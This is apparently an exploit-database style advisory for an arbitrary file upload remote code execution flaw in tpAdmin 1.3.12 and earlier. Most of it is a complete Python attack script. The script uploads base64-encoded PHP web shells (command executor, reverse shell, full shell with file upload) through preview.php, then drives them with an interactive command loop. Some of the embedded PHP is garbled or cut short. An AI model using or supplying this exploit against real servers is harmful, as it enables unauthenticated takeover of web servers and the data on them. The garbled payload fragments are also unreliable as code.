============================================================================================================================================= | # Title : tpAdmin ≤ 1.3.12 Remote Code Execution via Arbitrary File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://github.com/yuan1994/tpAdmin | ============================================================================================================================================= [+] Summary : A critical Remote Code Execution (RCE) vulnerability exists in tpAdmin versions ≤ 1.3.12 due to improper validation of file uploads within the preview.php component under /admin/lib/webuploader/0.1.5/server/. The application fails to properly validate file type, MIME type, and executable content when processing Base64-encoded data URIs. An attacker can craft a malicious payload disguised as an image and upload arbitrary PHP code to the server. If the uploaded file is stored within a web-accessible directory and PHP execution is permitted, this results in unauthenticated remote code execution [+] POC : #!/usr/bin/env python3 import requests import base64 import sys import argparse from urllib.parse import urljoin import time class Colors: GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' BLUE = '\033[94m' END = '\033[0m' def print_banner(): """Prints the tool banner""" banner = f""" {Colors.BLUE} ╔══════════════════════════════════════════════════════════════╗ ║ tpadmin RCE Exploit ║ ║ Remote Code Execution via Arbitrary File Upload ║ ║ Discovered by: indoushka ║ ║ Exploit coded for educational purposes only ║ ╚══════════════════════════════════════════════════════════════╝ {Colors.END} """ print(banner) def encode_payload(php_code): """ Encodes PHP code to base64 Args: php_code (str): The PHP code to be encoded Returns: str: The base64 encoded code """ return base64.b64encode(php_code.encode()).decode() def upload_shell(target_url, php_code, output_file=None): """ Uploads a shell to the target server Args: target_url (str): The base target URL php_code (str): The PHP code to upload output_file (str): The resulting filename (optional) Returns: tuple: (Success status, shell link, message) """ vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php" full_url = urljoin(target_url, vuln_path) encoded_code = encode_payload(php_code) payload = f"data:image/php;base64,{encoded_code}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Connection": "keep-alive" } try: print(f"{Colors.YELLOW}[*] Sending payload to: {full_url}{Colors.END}") response = requests.post( full_url, headers=headers, data=payload, timeout=10, verify=False ) if response.status_code == 200: import re url_pattern = r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+' urls = re.findall(url_pattern, response.text) shell_url = None for url in urls: if '.php' in url: shell_url = url break if not shell_url: filename_match = re.search(r'([a-f0-9]+\.php)', response.text) if filename_match: filename = filename_match.group(1) shell_url = urljoin(target_url, f"/public/uploads/{filename}") return True, shell_url, "File uploaded successfully" else: return False, None, f"Upload failed: {response.status_code}" except requests.exceptions.Timeout: return False, None, "Connection timed out" except requests.exceptions.ConnectionError: return False, None, "Failed to connect to the server" except Exception as e: return False, None, f"Error: {str(e)}" def generate_php_shell(shell_type="simple"): """ Generates PHP shell code of various types Args: shell_type (str): Shell type (simple, system, reverse, full) Returns: str: PHP code """ shells = { "simple": """""", "system": """System Command Executor"; if(isset($_REQUEST['cmd'])) { echo "
";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "
"; die; } else { echo "Usage: ?cmd=command"; } ?>""", "reverse": """$sock, 1=>$sock, 2=>$sock), $pipes); ?>""", "full": """tpadmin RCE Shell - CVE-2026-2113"; echo "
"; // System Information echo "

System Info:

"; echo "
";
    echo "OS: " . php_uname() . "\\n";
    echo "User: " . get_current_user() . "\\n";
    echo "PHP Version: " . phpversion() . "\\n";
    echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\\n";
    echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
    echo "
"; // Command Execution if(isset($_REQUEST['cmd'])) { echo "

Command Execution:

"; echo "
";
        $cmd = $_REQUEST['cmd'];
        system($cmd);
        echo "
"; } // Simple UI echo "
"; echo "
"; echo "Command: "; echo ""; echo "
"; // File Upload if(isset($_FILES['file'])) { $uploaddir = './'; $uploadfile = $uploaddir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "File uploaded: " . $uploadfile . "\\n"; } else { echo "File upload failed\\n"; } } echo "
"; echo "
"; echo "Upload file: "; echo ""; echo "
"; ?>""" } return shells.get(shell_type, shells["simple"]) def check_vulnerability(target_url): """ Checks if the target is vulnerable Args: target_url (str): The target URL Returns: bool: Whether the target is vulnerable """ vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php" full_url = urljoin(target_url, vuln_path) try: response = requests.get(full_url, timeout=5, verify=False) if response.status_code == 200: test_code = "" encoded = encode_payload(test_code) payload = f"data:image/php;base64,{encoded}" test_response = requests.post( full_url, data=payload, timeout=5, verify=False ) if test_response.status_code == 200: return True except: pass return False def interactive_shell(shell_url): """ Runs an interactive shell Args: shell_url (str): The shell URL """ print(f"{Colors.GREEN}[+] Interactive shell started{Colors.END}") print(f"{Colors.YELLOW}[*] Type 'exit' to quit{Colors.END}") print(f"{Colors.YELLOW}[*] Type 'help' for assistance{Colors.END}") while True: try: cmd = input(f"{Colors.BLUE}shell> {Colors.END}").strip() if cmd.lower() == 'exit': break elif cmd.lower() == 'help': print("Available commands:") print(" exit - Exit the shell") print(" help - Display this help") print(" clear - Clear the screen") print(" any command - Execute any system command") continue elif cmd.lower() == 'clear': import os os.system('cls' if os.name == 'nt' else 'clear') continue elif not cmd: continue # Send command to shell params = {'cmd': cmd} response = requests.get(shell_url, params=params, timeout=10, verify=False) if response.status_code == 200: print(response.text) else: print(f"{Colors.RED}[-] Error executing command{Colors.END}") except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}") def main(): """Main function""" print_banner() parser = argparse.ArgumentParser( description="tpadmin RCE Exploit - CVE-2026-2113", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument( "-u", "--url", required=True, help="Target URL (e.g., http://target.com)" ) parser.add_argument( "-t", "--type", choices=["simple", "system", "reverse", "full"], default="simple", help="Shell type (default: simple)" ) parser.add_argument( "-c", "--command", help="Single command to execute (instead of interactive shell)" ) parser.add_argument( "-o", "--output", help="Save results to a file" ) parser.add_argument( "--check-only", action="store_true", help="Only check if the target is vulnerable" ) parser.add_argument( "--no-ssl-verify", action="store_true", help="Ignore SSL certificate verification" ) args = parser.parse_args() if args.no_ssl_verify: requests.packages.urllib3.disable_warnings() print(f"{Colors.YELLOW}[*] Checking target: {args.url}{Colors.END}") if args.check_only: if check_vulnerability(args.url): print(f"{Colors.GREEN}[+] Target is vulnerable!{Colors.END}") sys.exit(0) else: print(f"{Colors.RED}[-] Target is not vulnerable or unreachable{Colors.END}") sys.exit(1) php_code = generate_php_shell(args.type) if args.command and args.type == "system": php_code = f"" success, shell_url, message = upload_shell(args.url, php_code, args.output) if success: print(f"{Colors.GREEN}[+] {message}{Colors.END}") if shell_url: print(f"{Colors.GREEN}[+] Shell URL: {shell_url}{Colors.END}") if args.output: with open(args.output, 'w') as f: f.write(f"Target: {args.url}\n") f.write(f"Shell URL: {shell_url}\n") f.write(f"PHP Code:\n{php_code}\n") print(f"{Colors.GREEN}[+] Results saved to: {args.output}{Colors.END}") if args.command: response = requests.get(shell_url, params={'cmd': args.command}, verify=False) if response.status_code == 200: print(f"{Colors.GREEN}[+] Command result:{Colors.END}") print(response.text) else: print(f"{Colors.RED}[-] Command execution failed{Colors.END}") else: try: interactive_shell(shell_url) except KeyboardInterrupt: print("\nExiting...") else: print(f"{Colors.YELLOW}[*] Shell link not found; manual search might be required{Colors.END}") print(f"{Colors.YELLOW}[*] Try looking in: {args.url}/public/uploads/{Colors.END}") else: print(f"{Colors.RED}[-] {message}{Colors.END}") sys.exit(1) if __name__ == "__main__": main() Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================